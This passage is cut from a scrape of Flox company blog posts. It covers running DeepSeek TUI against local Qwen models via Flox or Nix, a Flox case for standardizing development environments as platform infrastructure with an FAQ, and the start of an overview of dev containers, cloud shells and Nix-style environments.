alongside project code, so the repo becomes the authoritative answer to the question: What does this project need to build, test, run, and deploy—anywhere? Read more in [Playbook 4](/blog/playbook-4): Define and Commit the Flox Environment with the Repo. Title: Run Frontier Models Anywhere with DeepSeek TUI Source: https://flox.dev/blog/run-frontier-models-anywhere-with-deepseek-tui/ Date: 2026-05-21 Category: guide # Run Frontier Models Anywhere with DeepSeek TUI CLIs like DeepSeek TUI gives users a fast, terminal-native harness for running local and cloud models on NVIDIA CUDA and Apple Silicon. This article explores how Nix and Flox make it straightforward to run, build, and share the stacks we use to run models locally: model servers, CLI harnesses, and frontier checkpoint models like Qwen 3.6. DeepSeek TUI rocketed to almost [33,000 stars on GitHub](https://github.com/Hmbown/DeepSeek-TUI) within two weeks of launching. [Its creator](https://github.com/Hmbown) describes it as a terminal user interface (TUI) harness for [DeepSeek](https://www.deepseek.com/en/)’s local and cloud models, much as Claude Code is for Anthropic’s and Codex is for OpenAI’s models. But like these harnesses, DeepSeek TUI can run against **other** providers—including local models. With a local Ollama or oMLX model server, you can run DeepSeek TUI against Qwen v3.6 and other cutting-edge local frontier models. This article shows two simple patterns for installing and running models locally using DeepSeek TUI as a harness. It showcases how to use CLI coding harnesses DeepSeek TUI against local Qwen 3.6 models optimized for CUDA and MLX, Apple’s open-source machine-learning array framework for Apple Silicon. The first pattern has two variations: - Run DeepSeek TUI using a pre-packaged, pre-configured Flox **runtime environment**; - Run DeepSeek TUI as a Nix flake against the remote GitHub repo. The second pattern, attached as an **Appendix**, shows software engineers how Flox and Nix drop right into their workflows. It uses Flox and Nix **standardized development environments** to reproducibly build and run DeepSeek TUI from source on Linux, macOS, and Windows/WSL2. It's a proof of concept for using Flox or Nix dev environments to work with Rust and other projects. In both patterns, the same declarative environment can run reproducibly in local dev, CI, or production. No containers required. ## Running DeepSeek TUI Against Local Models This pattern has two distinct variations. The first uses a Flox environment, the second a Nix flake. ### 1. With Flox The Flox variation of this pattern uses a pre-built **`deepseek-tui`** package. Flox itself tracks the upstream DeepSeek TUI project, rebuilding from source and republishing the **`deepseek-tui`** package as new releases ship. It's an example of a Flox runtime environment, bundling DeepSeek TUI and its dependencies, along with a custom-built package that provides setup automation and wrapper helper functions. **Note**: This environment composes modular, platform-specific Flox environments for [Ollama](https://github.com/ollama/ollama) and [oMLX](https://github.com/jundot/omlx). If either is already installed on your system, run the command below **without** the `-s` switch, which is used to start services. You can view the [manifest for this environment](https://hub.flox.dev/flox-labs/deepseek-tui/manifest) on FloxHub. To run Deepseek TUI on Flox, first do: ```bash flox activate -s -r floxlabs/deepseek-tui ## the -s starts the defined ollama or omlx services ``` This environment ships with handy prebuilt wrapper functions. So on macOS or Linux, running ```bash deepseek --model ``` ...starts DeepSeek TUI with the requested model using Ollama on Linux, oMLX on macOS. If the requested model doesn’t already exist on the local system, the wrapper transparently pulls it from the correct upstream provider (Ollama on Linux, HuggingFace on macOS) before starting the TUI. On macOS, the wrapper also (1) prompts the user for their HuggingFace token if not already set and (2) transparently restarts the oMLX model server so that it picks up the new model. This changes the workflow from... ```bash ## 1. Pull the model hf download mlx-community/Qwen3.6-35B-A3B-4bit \ --local-dir "$OMLX_MODEL_DIR/mlx-community/Qwen3.6-35B-A3B-4bit" ## 2. Restart the oMLX model server flox services restart ## 3. Run deepseek with extra command-line options deepseek --provider openai --model Qwen3.6-35B-A3B-4bit ``` ...to: ```bash deepseek --model Qwen3.6-35B-A3B-4bit ``` It’s an effective demonstration of the types of user-friendly affordances you can build into Flox environments. Optionally, you can skip the separate activation step and run: ```bash flox activate -s -r floxlabs/deepseek-tui -- deepseek --model ``` This activates and runs DeepSeek TUI from FloxHub without putting the user “in” to the Flox environment. To run the latest Qwen3.6 on Linux, just run: ```bash flox activate -s -r floxlabs/deepseek-tui -- deepseek --model qwen3.6:35b ``` On macOS run: ```bash flox activate -s -r floxlabs/deepseek-tui -- deepseek --model Qwen3.6-35B-A3B-4bit ``` ### 2. With Nix The upstream Nix flake has two tests that fail in the Nix build sandbox; we've [submitted a PR](https://github.com/Hmbown/DeepSeek-TUI/pull/1844) but we’ll need to run against our fork until it merges: ```bash nix run github:floxlabs/DeepSeek-TUI/fix/nix-build-spillover-tests ``` **Note**: The failing tests only affect **`nix run`** and the Nix runtime environment: it’s possible to use the upstream flake as a dev environment to build and run the **`deepseek`** bin with **`cargo`**. A key difference with the Nix variation on this pattern is that _you’re building DeepSeek TUI from source_ and then running it. The Flox environment ships it as a defined, pre-packaged dependency, so there’s no build step. The Nix pattern must fetch, build, and realize DeepSeek TUI in the Nix store. This takes several minutes on a 32-core/64-thread system, and even longer on a less beefy machine. That being said, what if you _want_ to build DeepSeek TUI from source? For example, to checkout and build our forked/fixed branch? The **Appendix** walks through doing this with both Flox and Nix. ## Standardize Your AI Workflows from Local Dev to Production Standardized Flox and Nix environments declare all you need to reproducibly build and run projects like DeepSeek TUI. But this same pattern generalizes to _any_ AI workflow that depends on a mix of model servers, CLI harnesses, language runtimes, native libraries, services, and platform-specific acceleration. With Flox and Nix, you can declare, govern, and share AI workloads across local laptops, CI, and production. The operational payoff is clear: - **In local dev** everyone uses the same Flox environment; if something breaks, teams can see what changed and when; - **When it's time to ship code**, the same Flox environments run reproducibly across machines, platforms, and time, at every stage of the SDLC; - **As teams operationalize AI environments**, platform teams can version and legibly govern standardized dev or runtime environments; - **For audits, incident response, and release review**, security and compliance teams can more easily identify where specific package versions are used. This isn’t magic, and it works a little differently between Flox, which is built on Nix, and Nix by itself. It's worth exploring how Flox and Nix differ ... and why. For example, the upstream [DeepSeek TUI](https://github.com/Hmbown/DeepSeek-TUI) repo ships with a Nix flake. Comparing its **[flake.lock](https://github.com/Hmbown/DeepSeek-TUI/blob/main/flake.lock)** with Flox’s **[manifest.lock](https://github.com/flox/deepseek-tui/blob/main/.flox/env/manifest.lock)** yields the following: - The Nix **`flake.lock`** pins three upstream flake inputs to specific Git revisions and content hashes. You always get the same source trees, but not necessarily the same package versions. - The Flox **`manifest.lock`** for the DeepSeek TUI runtime environment pins every individual package on every target platform (Linux or macOS; x86-64 or ARM) to a specific version, derivation, and set of Nix store paths. In other words, it records the environment’s **complete, resolved dependency graph**. In the bare Nix model, you can pin **`nixpkgs`**, individual sources, or package overrides, then evaluate the [closure](https://nix.dev/manual/nix/2.25/glossary.html?highlight=closure#gloss-closure) to inventory the resulting package set. In Flox’s model, package names, versions, target platforms, derivations, outputs, and store paths get automatically recorded. Plus with [FloxHub](https://hub.flox.dev) you get the ability to generate authoritative SBOMs for individual packages and runtime environments. Flox turns a standardizd runtime from something teams can reliably reproduce into something they can also inspect, diff, audit, govern, publish, and query across local dev, CI, and production. ## Run, Share, and Govern AI Environments with Flox As AI environments morph from one-off local experiments into shared platform assets, the operational question changes from “How do I run this?” to “How do I understand, audit, and reproduce exactly what ran?” Flox makes the dev or runtime environment **visible** and **legible**: e.g., you can diff two lockfiles and _see_ that **`openssl`** advanced from v3.6.0 to v3.6.1, rather than only seeing a change (e.g., a new Git commit) to a flake input. It all starts with [FloxHub](https://hub.flox.dev). Generate authoritative, indexable SBOMs for dev and runtime environments. Reference and run them locally, in your CI pipelines, or your Kubernetes pod specs. Create and share your own managed environments, or activate prebuilt environments like [DeepSeek TUI](https://hub.flox.dev/flox-labs/deepseek-tui/manifest), [Rust dev](https://hub.flox.dev/flox-labs/rust-dev/manifest), [Ollama](https://hub.flox.dev/flox-labs/ollama/manifest), [oMLX](https://hub.flox.dev/flox-labs/omlx/manifest) the same way: remotely, reproducibly, anywhere. ## Appendix: Building and Running DeepSeek TUI from Source This pattern also has two variations. **One** uses a Flox standardized dev environment for working with Rust. Nothing special; no DeepSeek TUI-specific adaptations. You can use this pattern to work with _any_ Rust project. **Two** uses the **`flake.nix`** that’s included with the repo to build and run the DeepSeek TUI app. If you have Nix (or Flox, which installs Nix by default), you can build and run the flake. ### 1. Building with Flox Whether using the Flox environment or Nix flake, first clone the upstream repo to your local system: ```bash git clone https://github.com/Hmbown/DeepSeek-TUI ``` Then change into the directory and run: ```bash flox activate -r flox-labs/rust-dev` ``` This runs a remote FloxHub environment (thus the **`-r`** switch) called **`rust-dev`**. **Note**: Flox ships a canonical Rust example environment: **`flox/rust`**. This environment includes an essential, common-sense set of Rust dependencies; however, it lacks common cross-language and/or cross-platform dependencies. It’s a canonical example that you can take and customize as your own. The **`flox-labs/rust-dev`** environment adds platform-specific compilers, a **`python3`** package, and **`dbus`** for Linux. The **`[install]`** section defines all of the packages available in the activated environment: ```toml [install] ## core rust toolchain rustc.pkg-path = "rustc" cargo.pkg-path = "cargo" clippy.pkg-path = "clippy" rustfmt.pkg-path = "rustfmt" rust-analyzer.pkg-path = "rust-analyzer" rust-lib-src.pkg-path = "rustPlatform.rustLibSrc" cargo-nextest.pkg-path = "cargo-nextest" ## native build tools pkg-config.pkg-path = "pkg-config" openssl.pkg-path = "openssl" cacert.pkg-path = "cacert" git.pkg-path = "git" gh.pkg-path = "gh" python3.pkg-path = "python3" ## compilers clang.pkg-path = "clang" clang.systems = ["aarch64-darwin"] gcc-unwrapped.pkg-path = "gcc-unwrapped" gcc-unwrapped.systems = ["x86_64-linux", "aarch64-linux"] ## darwin-only libiconv.pkg-path = "libiconv" libiconv.systems = ["aarch64-darwin"] ## linux-only deps for keyring access dbus.pkg-path = "dbus" dbus.systems = ["x86_64-linux", "aarch64-linux"] ``` The **`[hook]`** exports **`$FLOX_ENV/lib`** onto **`LD_LIBRARY_PATH`** on Linux so Rust crates that call **`dlopen`** at runtime (like **`openssl`** and **`dbus`**) can find shared libraries. The **`[profile]`** sets **`RUST_SRC_PATH`** to **`$FLOX_ENV`**, where the **`rust-lib-src`** package installs the standard library source. This enables go-to-definition and inline docs in **`rust-analyzer`**. ```toml [hook] on-activate = ''' if [ "$(uname)" = "Linux" ]; then export LD_LIBRARY_PATH="$FLOX_ENV/lib${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" fi ''' [profile] common = ''' export RUST_SRC_PATH="$FLOX_ENV" ''' ``` With Flox, you build DeepSeek TUI just like you’d build any other Rust project: ```bash cargo build --release ``` You _could_ combine this with the Flox activation step—**`flox activate -r floxlabs/rust-dev -- cargo build --release`**, or even **`flox activate -r floxlabs/rust-dev -- cargo run –release`**—to run the **`deepseek`** CLI. Before doing this, however, you’ll want to make sure you have a local model server installed: [Ollama](https://github.com/ollama/ollama) on Linux; Ollama _or_ [oMLX](https://github.com/jundot/omlx) on macOS. We show a simple way to do this in **Section 3**, below. ### 2. Building with Nix The DeepSeek TUI repo includes a Nix flake. If you’re curious about what this flake looks like, you can view it [here](https://github.com/Hmbown/DeepSeek-TUI/blob/main/flake.nix). Once you’ve cloned the upstream repo, **`cd`** into the directory and run: ```bash nix develop ``` Once Nix evaluates and realizes the environment, run: ```bash cargo build --release ``` This uses **`cargo`** to compile the project in the Nix dev environment. The failing tests defined by the **`flake.nix`** only affect **`nix run`** which builds and tests inside an isolated sandbox. We could also run: ```bash cargo run --release -- --provider ollama --model qwen3.6:35b ``` Note, however, that running DeepSeek TUI directly from the repo... ```bash nix run .#deepseek-tui -- --provider ollama --model ``` ...won’t work unless or until DeepSeek TUI’s maintainers fix the broken flake tests. But before running DeepSeek TUI from its repo, make sure you’re running a local model server, like Ollama on Linux or Ollama / oMLX on macOS. The next section gives you a simple way to do this. ### 3. Getting a local model server You can run DeepSeek TUI against DeepSeek models in the cloud, but what’s the fun in that? Local model serving is where it’s at, and model servers like Ollama, oMLX, and [LM Studio](https://github.com/lmstudio-ai) give us powerful options for local inferencing. We’ve tested DeepSeek TUI against Ollama and oMLX; you can probably run it against LM Studio, too. If you don’t already have either model-serving platform installed, just run... ```bash flox activate -s -r flox/ollama ``` **or** ```bash flox activate -s -r flox/omlx ``` ...within the DeepSeek TUI repo. This runs a remote FloxHub environment on-demand, [layering](https://flox.dev/docs/tutorials/layering-multiple-environments/?h=layering) it on top of the repo. The Flox-managed Ollama or oMLX services are available so long as you’re in this remote environment. (Your prompt will change such that it’s prepended by **`flox [flox/ollama]`** or **`flox [flox/omlx]`**.) Once you quit this environment, Flox automatically shuts down the service(s) it defines. ### 4. Running DeepSeek TUI from the repo First pull your model of choice. On **Ollama** do: ```bash ollama pull qwen3.6:35b-a3b-coding-nvfp4 ``` If you prefer **oMLX**, downloading models is slightly less straightforward. oMLX doesn’t provide its own **`ollama pull`**-like command to fetch them, so you’ll need to pull them from HuggingFace, which means (a) you’ll need to use the HuggingFace CLI, which is bundled with oMLX, and (b) you’ll need a HuggingFace token. Export this token as an env var, then do the following to download your model… ```bash hf download mlx-community/Qwen3.6-35B-A3B-4bit \ --local-dir "$OMLX_MODEL_DIR/mlx-community/Qwen3.6-35B-A3B-4bit" ``` … and then restart the Flox **`omlx`** service to pick it up: ``` **note:** you’re flox layering environments, so flox prompts you: ! Services in which environment? current directory [barstoolbluz/rust-dev] > currently active [flox/omlx (local)] ``` Finally, you’re ready to fire up the **`deepseek`** CLI with the Qwen 3.6 model. For Ollama run: ```bash cargo run --release --bin deepseek -- \ --provider ollama \ --base-url http://127.0.0.1:11434/v1 \ --model qwen3.6:35b-a3b-coding-nvfp4 ``` For oMLX, run: ```bash cargo run --release --bin deepseek -- \ --provider openai \ --base-url http://127.0.0.1:18000/v1 \ --api-key any \ --model Qwen3.5-9B-MLX-4bit ``` Nix users can build and run from the Nix dev shell: ```bash cargo run --release --bin deepseek -- --provider ollama --base-url http://127.0.0.1:11434/v1 --model qwen3.6:35b-a3b-coding-nvfp4 ``` If all of this seems quite a bit more involved in a dev setup, it is. But this is what software engineers do several times daily to build, test, debug, and ship the packages and runtime environments we rely on. It all starts with [FloxHub](https://hub.flox.dev). Why not **`flox activate -r`** and take [Rust](https://hub.flox.dev/flox-labs/rust-dev), [C/C++](https://hub.flox.dev/flox-labs/cxx), [Go](https://hub.flox.dev/flox/go), [Python](https://hub.flox.dev/flox-labs/python3), [Ruby](https://hub.flox.dev/flox/ruby), [Zig](https://hub.flox.dev/flox-labs/zig), [JavaScript/Typescript](https://hub.flox.dev/flox-labs/node), [Erlang](https://hub.flox.dev/flox-labs/erlang), or one of our other reproducible dev environments for a test-drive? Title: Works on My Machine—A Platform Problem Source: https://flox.dev/blog/works-on-my-machine-a-platform-problem/ Date: 2026-05-19 Category: guide # Works on My Machine—A Platform Problem Local development is just the first surface of an organization-wide delivery platform. Platform teams own the shared runtime contract that engineers depend on to build, test, debug, and deploy. Flox gives them a way to provide a pinned, declared set of packages, services, and environment variables. Some sayings conceal at least as much as they reveal. In software, “works on my machine” is one of them. Take [Fellow.ai](http://flox.dev/case-studies/how-fellow-ai-ships-faster-with-flox), a fast-growing start-up that provides AI-powered meeting assistant software. The works-on-my-machine problems Fellow.ai was dealing with _should_ have been confined solely to local development: one engineer, their team, occasional friction in team collaboration. But they weren’t. Fellow.ai co-founder and CTO Sam Cormier-Iijima recognized that “works on my machine” is a failure of _shared infrastructure_. The symptoms show up everywhere. Code reviews stall because reviewers cannot run the branch. Pair debugging turns into pair works-on-my-machine debugging. Onboarding slows to a crawl. Failures in CI could be actual product defects … or artifacts of “works on my machine.” Flox enables Fellow.ai to eliminate works-on-my-machine issues. Instead of expecting each engineer to assemble and maintain their own local setup, Fellow uses Flox to define reproducible project environments that travel with their repos. Declarative Flox environments, and the runtime dependencies they define, co-locate with code as a shared, versioned part of each project. Flox makes the same software, environment variables, services, and setup available to every engineer working in that repo. Anytime, anywhere. ### Why “Works on My Machine” Is a Platform Problem This is where **platform teams** come in. Local development is just the first surface of an org’s delivery platform. Platform teams own the shared runtime contract that engineers depend on to build, test, debug, and deploy. Flox gives them a way to provide a pinned, declared set of packages, services, and environment variables. They can use Flox to define setup hooks, per-environment functions and aliases, even build recipes that run in a hermetically isolated sandbox. Flox environments run in subshells, not in containers, so engineers can work on their machines, with transparent access to local resources. The best part is that the Flox environments run the same everywhere. Not just across platforms—from Linux to macOS and back again, on x86-64 or ARM—but across boundaries: locally, in CI, in production. With Flox, teams get a common operating context without forcing everyone into a dev container, cloud workspace, or unfamiliar workflow. Platform teams get to be heroes … rather than bad guys. Figure: Diagram showing Declared Environments materializing exactly the same runtime dependencies and environment over time ### Platform Teams Own the Shared Runtime Contract Fellow.ai’s business depends on shipping useful AI capabilities as quickly as possible, even though models, frameworks, and tools keep changing all the time. This pace of innovation depends on trustworthy local feedback loops: engineers need to know that when an app starts, tests pass, or services spin up on their laptops, these signals reflect the state of the project instead of the arbitrary state of their machine. “Works on my machine” breaks this feedback loop: a local pass only proves that one engineer has the right undeclared dependency; a local failure may only prove that another engineer does not. Thus the platform team’s dilemma: impose a strict boundary around local development … and stifle local autonomy, constrain team velocity, and take on the operational burden of building, testing, and maintaining the images teams work in. Alternatively, leave everyone to manage their own setup, and pay for that freedom in s-l-o-w onboarding, cramped collaboration, failures in CI, and outages in production. Think of a “platform” as any shared substrate that equips a team to move faster by abstracting (or simply eliminating) the set of things it must discover, interact with, and manage in the course of doing its work. Looked at this way, local development **is** platform infrastructure: it’s a laboratory of innovation, the starting point (and in a distinct sense the locus) of software delivery. What can or cannot be done in local dev determines what the organization can or cannot deliver. It sets the practical ceiling for what the organization can (or can’t) ship. Less glamorously, it also determines which failures slip—or ship—downstream. Because what happens in local dev doesn’t _stay_ in local dev; it gets exported (in the form of uncertainty, failure, inconsistency, etc.) to other, more expensive stages of software delivery. Figure: Chart comparing the costs borne by developers in local dev and platform teams over time with dev containers and cloud dev shells ### Local Development Sets the Ceiling … and the Floor, Too Fellow’s journey with Flox shows the real-world impact of standardized dev environments. You can read the case study [here](URL_TO_COME), or check out a deep dive on standardized dev environments [here](http://flox.dev/case-studies/how-fellow-ai-ships-faster-with-flox). With standardized environments, new engineers onboard faster because following along with a README isn’t an exercise in archaeology … or exegesis. Teammates collaborate more effectively because they can reliably pull, run, and work with one another’s code. CI and deployment workflows give reliable signal because “works on my machine” is no longer a thing: the same reproducible runtime travels everywhere and materializes exactly the same at any time. Figure: Comparison of Dockerfiles and Flox manifests The best platforms give teams a stable, shared foundation, well-defined interfaces, and enough leeway to work effectively. It all starts with [FloxHub](https://hub.flox.dev), where teams can discover, pull, and share portable Flox environments that make local dev reproducible just by running **flox activate**. Get started today! ## FAQ
**Why should platform teams care about “works on my machine”?** Platform teams care because local development is the first surface of the software delivery platform. When local development produces unreliable signals, every later stage of delivery gets noisier. Engineers lose time debugging setup problems. Reviewers cannot reliably run one another’s branches. CI failures become harder to interpret. Onboarding turns into a long exercise in reconstructing undocumented setup steps. These issues do not stay local. They move downstream as uncertainty, rework, delayed reviews, failed builds, staging surprises, and production risk. Platform teams can reduce these costs by treating the local development environment as shared infrastructure instead of leaving it to each engineer to assemble by hand.
**Why are works-on-my-machine failures so difficult to diagnose?** “Works on my machine” means the project depends on something that has not been declared, pinned, shared, or reproduced consistently. The problem is not merely that engineers use different machines. Sometimes they use the same nominal versions of Node.js, Python, Rust, Go, or another toolchain, but one machine has a newer `make`, another has different Postgres client libraries, and another has a globally installed dependency that nobody documented. The project then depends on each machine’s accidental state. For platform teams, the lesson is clear: when the machine becomes part of the build, the platform has an implicit contract nobody owns clearly enough.
**Why call this a platform problem rather than a local development problem?** A local development problem affects one engineer. A platform problem affects the system that lets many engineers move code from idea to production. “Works on my machine” starts in local development, but it spreads across the delivery process. Code review slows because reviewers cannot run the branch. Pair debugging becomes setup debugging. CI can fail because it lacks a dependency that existed on a laptop. Deployment workflows can encode different assumptions than local workflows. Platform teams own the shared substrate that lets engineers move faster with less repeated setup work. If every project requires engineers to rediscover, install, configure, and maintain the same runtime assumptions manually, the platform has pushed too much work onto individual developers.
**What is the shared runtime contract?** The shared runtime contract is the declared set of tools, packages, services, environment variables, hooks, aliases, build recipes, and runtime behaviors a project needs in order to build, test, run, debug, and deploy. A strong runtime contract answers questions like: * Which versions of language runtimes does this project use? * Which system packages and command-line tools does it require? * Which services need to run locally? * Which environment variables does the application expect? * Which setup steps must run before development starts? * Which build or test commands should run in a controlled context? * Can CI and local development use the same declared environment? When platform teams define this contract explicitly, they replace guesswork with a versioned, repeatable operating context.
**What happens when the runtime contract stays implicit?** Teams pay for an implicit runtime contract through repeated friction. New engineers spend days assembling local environments from READMEs, Slack threads, teammate advice, package manager errors, and stale assumptions. Existing engineers hesitate to change dependencies because they cannot predict who will break. Reviewers skip local validation because setup takes too long. CI failures become harder to triage because nobody knows whether the code or the environment caused the failure. Platform teams also absorb support load. They must answer recurring setup questions, repair inconsistent workflows, maintain ad hoc scripts, and decide whether to impose a stricter environment boundary. The organization pays for the same missing contract again and again.
**How does Flox help platform teams define that contract?** Flox lets platform teams and application teams define development and runtime environments declaratively. A Flox environment can specify the packages, services, environment variables, setup hooks, functions, aliases, and build recipes a project needs. Teams can commit that environment definition with the repo so it travels with the code. When engineers run `flox activate`, Flox materializes the declared environment for that project. The platform team gains a shared, versioned contract. Developers gain a local environment that works without manually reconstructing project setup. CI and production workflows can use the same declared environment, which helps align each stage of delivery around the same runtime assumptions.
**How does Flox differ from a README-based setup process?** A README can describe setup, but it cannot enforce setup. A README might tell engineers to install a specific Node.js version, configure environment variables, install a database client, update a compiler, or run several shell commands. Each engineer still has to interpret the instructions, adapt them to their machine, resolve conflicts, and keep the result current. Flox moves the source of truth from prose into an executable environment definition. The README can explain how to use the project, but the project no longer depends on each engineer manually translating instructions into a working machine state.
**How does Flox differ from language-specific version managers?** Language-specific tools solve part of the problem within one ecosystem. Tools such as `asdf`, `uv`, Poetry, Conda, and JavaScript runtime managers can help pin runtimes or packages for specific languages. Platform teams usually need a wider contract. A service may require Node.js, Python, shell tools, native libraries, a database client, cloud CLIs, test utilities, environment variables, and local services. A language-specific manager often cannot define that full context across local development, CI, staging, and production. Flox treats the project environment as the unit of standardization. It can include language-specific tools, but it does not stop at the language boundary.
**How does Flox differ from dev containers?** Dev containers solve environment inconsistency by putting development inside a containerized userspace. This gives platform teams a strong boundary and more control over dependencies. That control introduces costs. Developers may need to route editors, debuggers, credentials, filesystems, ports, and local services through a container boundary. Platform teams must build, test, patch, secure, document, and support the images engineers use. Over time, the dev container can become a platform product of its own. Flox standardizes the project runtime without forcing engineers into a container. Flox environments run in subshells, so developers keep working on their own machines while the project still gets a declared, reproducible set of tools, packages, services, and variables.
**How does Flox differ from cloud development environments?** Cloud development environments move the developer’s workspace into a managed remote environment. This can help platform teams centralize control, provisioning, and policy. That model can work well for some organizations, but it also creates operational and developer experience costs. Engineers depend on network connectivity, remote workspace performance, centralized provisioning, permissions, quotas, and platform uptime. Platform teams must manage those workspaces as a service. Flox keeps development local while still giving platform teams a shared runtime contract. Engineers can use their existing editors, terminals, files, credentials, and local workflows. The platform team standardizes what the project needs, not every detail of how each engineer works.
**How does Flox promote developer autonomy?** Flox standardizes the project context without standardizing the entire person-at-keyboard workflow. Engineers can keep their editor, terminal, shell preferences, local debugging tools, credentials, filesystem layout, and machine-specific productivity setup. They activate the environment for the project and leave it when they finish. This balance matters for platform teams. A good platform removes repetitive setup work, but it should not make skilled engineers fight the platform to do their jobs. Flox helps platform teams provide a common operating context while leaving room for local expertise and preference.
**How does Flox improve onboarding?** Onboarding improves because new engineers no longer have to reconstruct the project environment from scattered instructions. With Flox, the environment definition travels with the repo. A new engineer can clone the project, run `flox activate`, and receive the declared tools, packages, services, variables, and setup behavior the project expects. This does not teach the codebase, architecture, product domain, or team practices by itself. It does remove a large category of setup work that teaches little and delays useful contribution.
**How does this impact CI?** CI becomes more useful when it tests code in an environment that matches local development assumptions. If local development and CI use different undeclared dependencies, a CI failure can mean several things. The code might contain a real defect. CI might lack a package present on a laptop. A tool version might differ. A setup hook might have run locally but not in automation. Flox helps teams use the same declared environment across local and CI contexts. This makes CI failures easier to interpret because the environment becomes less mysterious. The signal shifts back toward the code and away from setup drift.
**Does Flox replace Docker, Kubernetes, or CI systems?** No. Flox does not need to replace containers, orchestrators, or CI systems. Flox defines and materializes the runtime environment a project needs. Teams can still build containers, deploy to Kubernetes, run tests in CI, and operate production services through existing systems. Flox helps those systems share the same environment assumptions instead of each one rebuilding them differently. For platform teams, Flox can become the common environment layer that supports local development and automation without demanding a wholesale replacement of existing delivery infrastructure.
**What kinds of project requirements can Flox declare?** Flox can declare project requirements such as: * Language runtimes * Compilers * System packages * Command-line tools * Database clients * Cloud CLIs * Linters and formatters * Test tools * Environment variables * Services * Setup hooks * Functions and aliases * Build recipes This breadth matters because platform teams rarely deal with a single missing runtime. Real projects combine multiple tools, services, and assumptions. Flox lets teams capture that combination as shared project infrastructure.
**What is the platform-team dilemma this article describes?** Platform teams often face two unattractive choices. They can impose a strict boundary around local development with containers, remote workspaces, or other controlled environments. This can improve consistency, but it can also constrain developer workflows and create a larger operational surface for the platform team. Or they can leave local setup mostly unmanaged. This preserves autonomy, but the organization pays for it through slow onboarding, inconsistent collaboration, CI confusion, and delivery risk. Flox gives platform teams a third option: standardize the runtime contract without taking local development away from developers.
**What role does FloxHub play for platform teams?** FloxHub gives teams a place to discover, share, and reuse portable Flox environments. Platform teams can publish known-good environments, standardize common patterns, and make approved project contexts easier to adopt. Application teams can pull and activate environments instead of inventing setup from scratch. This turns environment management into a reusable platform capability. Instead of every repository carrying its own undocumented setup history, teams can share declared environments that encode the organization’s preferred tools and practices.
**What is the main takeaway?** “Works on my machine” signals that the organization has not fully declared the runtime contract its engineers depend on. Platform teams can solve this by treating local development as shared infrastructure. Flox gives them a way to define a pinned, declared, reproducible environment that travels with the repo and can run across local development, CI, and production. The result is a common operating context for engineering teams: less manual setup, faster onboarding, more reliable collaboration, clearer CI signal, and fewer environment surprises downstream. Platform teams get the consistency they need without forcing every developer into a container, cloud workspace, or unfamiliar workflow.
Title: Standardized Development Environments Explained Source: https://flox.dev/blog/standardized-development-environments-explained/ Date: 2026-05-14 Category: engineering # Standardized Development Environments Explained Works-on-my-machine is symptomatic of an ongoing failure to treat the local development environment itself as shared project infrastructure. Standardized development environments are a compelling solution to chronic problems of this kind. For many organizations, “works on my machine” is anything but a punchline, minor irritant, or bizarre edge case: It’s a many-times-daily occurrence that’s at once predictable _and_ inevitable. It’s symptomatic of an org’s ongoing failure to treat _the local development environment itself_ as shared project infrastructure. As [Fellow.ai](https://flox.dev/case-studies/how-fellow-ai-ships-faster-with-flox/), [detaso](https://flox.dev/blog/flox-and-containers-a-perfect-pattern-for-local-development/), and others have discovered, this cost compounds as teams scale. An engineer upgrades a dependency, changes a compiler flag, or updates a shared library. No problem: the build tool _should_ re-resolve the affected build outputs from scratch; instead, however, it reuses the stale cache produced by an earlier build. So the project _appears_ to build on that engineer’s machine, but fails to run in CI. Engineers squander time debugging missing libraries, package conflicts, undocumented variables, and port collisions instead of diagnosing and correcting actual issues. To combat this problem, many organizations use standardized development environments to control—and, in some cases, to _lock down_—the context in which engineers build and test locally. Figure: Chart depicting two common paths leading to works-on-my-machine failures. This article explores several common standardized development environments, walking through each one’s pluses and minuses. It assesses these environments on the basis of **how much control** they exert in the local context. It discovers that the trade-offs involved in strictly isolating the environment (as with dev containers and cloud dev shells) exceed what is required for reproducibility in the local context. It argues that declarative, graph-backed standardized development environments achieve comparable reproducibility without restricting local autonomy or impeding developer and team velocity. ### The Insidiousness of “Works on My Machine” When every workstation, CI runner, staging system, and production runtime comprises a different world, teams pay a price in terms of failed builds, flaky tests, s-l-o-w onboarding, and time wasted debugging environment-specific issues rather than project code. This problem is usually more insidious than (for example) each engineer running a different version of Python, Node, Rust, Go, or other toolchains. Often they’re running _exactly the same versions_—but on differently configured machines, with different globally installed dependencies. In other words, everyone’s using the same canonical versions of core toolchains (Node.js v22.22; Python 3.13.11; Rust 1.94.1; Go 1.25.9), but some machines have undeclared dependencies—an up-to-date GNU **`make`**; a surreptititously installed **`libstdc++`**, installed-and-forgotten Postgres client libraries—while others do not. Projects build and run on machines with undeclared dependencies; when engineers go to share them, however, they fail to build or run everywhere. Figure: Chart depicting two build or runtime paths, one successful the other not Standardized development environments are a compelling solution to chronic problems of this kind. The idea behind them is to isolate a project’s build or runtime context from the arbitrary state of the host machine on which the engineer works. Examples of general-purpose standardized environments include VM-based development environments, dev containers, cloud dev shells, virtual desktop infrastructure (VDI), Guix shells, Nix-based shells, and Flox environments. Generally speaking, these tend to differ in scope: - **VMs** or **VDI** services standardize a complete guest OS, with or without a desktop; - **Dev containers** and **dev cloud shells** standardize a containerized userspace; - **Guix**, **Nix**, and **Flox** standardize a project’s packages, services, and runtime variables, along with the environment in which it runs. This article focuses on dev containers, cloud dev shells, and Guix, Nix, and Flox. We focus on these specific tools for two reasons: **First**, they aim to standardize the project development context, rather than (as with VMs or VDI services) the machine context as a whole. **Second**, dev containers and cloud dev shells are two of the most common patterns for project-scoped development environments, while Guix, Nix, and Flox are archetypal examples of a less well-known but withal compelling pattern: the declared, graph-backed standardized dev environment. Figure: Chart comparing isolation models across different types of standardized development environments A methodological note re: classification: Some toolchain environment managers have the ability to create language- or ecosystem-specific dev environments. These include toolchain version managers like **`asdf`**, Python tools like **`uv`**, Poetry, and Conda, and JavaScript/TypeScript workflows based on runtime and package management for Node.js, Bun, or Deno. With the partial exception of Conda, these are not “standardized” in an important sense of the term, however: They can pin the build or runtime environment for **their specific local context**, but cannot reliably reproduce that environment across laptops, CI, staging, and production. ### Standardized Dev Environments: VMs, Dev Containers and Cloud Dev Shells A standardized development environment creates an **isolation boundary** between the specific requirements of a project and the specific local context in which engineers work. Say, for instance, that a project needs Python 3.14.3 and Node.js 25.9.0, but an engineer’s laptop has Python 3.13.11 and Node.js 24.14.1. The standardized environment exposes the project’s versions instead of the laptop’s. We distinguish standardized dev environments on the basis of how they instantiate this isolation boundary. This boundary can be stronger or weaker depending on the pattern used. VM-based development environments provide strong, hermetic isolation: each project runs in its own guest operating system. Dev containers and cloud dev shells enforce strict, but 